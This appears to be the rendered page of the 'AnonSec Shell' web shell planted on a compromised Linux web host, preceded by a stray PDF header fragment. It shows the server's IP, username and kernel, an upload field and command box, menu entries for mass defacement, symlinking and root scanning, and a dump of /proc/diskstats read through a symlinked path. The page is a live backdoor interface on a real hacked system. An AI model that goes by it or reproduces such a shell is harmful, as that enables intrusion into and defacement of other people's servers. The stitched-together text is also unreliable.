%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.216.45   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/images/product/anon_sym/anon/proc/2682/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/images/product/anon_sym/anon/proc/2682/root/proc//diskstats
   7       0 loop0 44 0 85 1 0 0 0 0 0 60 1 0 0 0 0 0 0
   7       1 loop1 288 0 7192 57 0 0 0 0 0 148 57 0 0 0 0 0 0
   7       2 loop2 71391 0 368820 2026 0 0 0 0 0 43596 2026 0 0 0 0 0 0
   7       3 loop3 270 0 4536 90 0 0 0 0 0 220 90 0 0 0 0 0 0
   7       4 loop4 74718 0 418328 2613 0 0 0 0 0 50080 2613 0 0 0 0 0 0
   7       5 loop5 93242 0 504534 3228 0 0 0 0 0 59816 3228 0 0 0 0 0 0
   7       6 loop6 93485 0 503302 3276 0 0 0 0 0 59212 3276 0 0 0 0 0 0
   7       7 loop7 71495 0 394782 3132 0 0 0 0 0 45168 3132 0 0 0 0 0 0
  11       0 sr0 17 0 7 1 0 0 0 0 0 36 1 0 0 0 0 0 0
   8       0 sda 2961204 238323 159573950 2852310 54168776 30584278 1458639158 138836041 0 67665368 141779670 46147 38554 342259640 91318 0 0
   8       1 sda1 12071 0 109898 7566 0 0 0 0 0 11956 7566 0 0 0 0 0 0
   8       2 sda2 3400 137 565724 7905 1918 577 2092608 39735 0 12392 47876 121 18 5799904 234 0 0
   8       3 sda3 2944206 238186 158837313 2836339 54166858 30583701 1456546550 138796306 0 67646580 141723729 46026 38536 336459736 91083 0 0
 253       0 dm-0 3178928 0 158605479 3173024 84484726 0 1456546550 229559888 0 67619832 232904504 84562 0 336459736 171592 0 0
   7       8 loop8 100975 0 565054 3145 0 0 0 0 0 54400 3145 0 0 0 0 0 0
   7       9 loop9 74616 0 401364 2368 0 0 0 0 0 48788 2368 0 0 0 0 0 0
   7      10 loop10 137624 0 713528 3379 0 0 0 0 0 61880 3379 0 0 0 0 0 0
   7      11 loop11 135842 0 710068 3659 0 0 0 0 0 62504 3659 0 0 0 0 0 0
   7      12 loop12 158350 0 847994 3985 0 0 0 0 0 65136 3985 0 0 0 0 0 0
   7      13 loop13 725858 0 3572374 15074 0 0 0 0 0 130720 15074 0 0 0 0 0 0
   7      14 loop14 1614 0 92608 619 0 0 0 0 0 4508 619 0 0 0 0 0 0
   7      15 loop15 2326 0 145472 1109 0 0 0 0 0 7324 1109 0 0 0 0 0 0
   7      16 loop16 469 0 8002 327 0 0 0 0 0 328 327 0 0 0 0 0 0
   7      17 loop17 275 0 3526 276 0 0 0 0 0 220 276 0 0 0 0 0 0
   7      18 loop18 3100 0 237656 1564 0 0 0 0 0 11508 1564 0 0 0 0 0 0
   7      19 loop19 3766 0 42030 5874 6464508 0 66204064 8894870 0 9254936 16381040 519 0 31433016 795 626781 7479499
   7      20 loop20 681 0 20100 159 6 0 16 13 0 468 186 0 0 0 0 6 13
   7      21 loop21 101842 0 546146 2644 0 0 0 0 0 53360 2644 0 0 0 0 0 0

Anon7 - 2022
AnonSec Team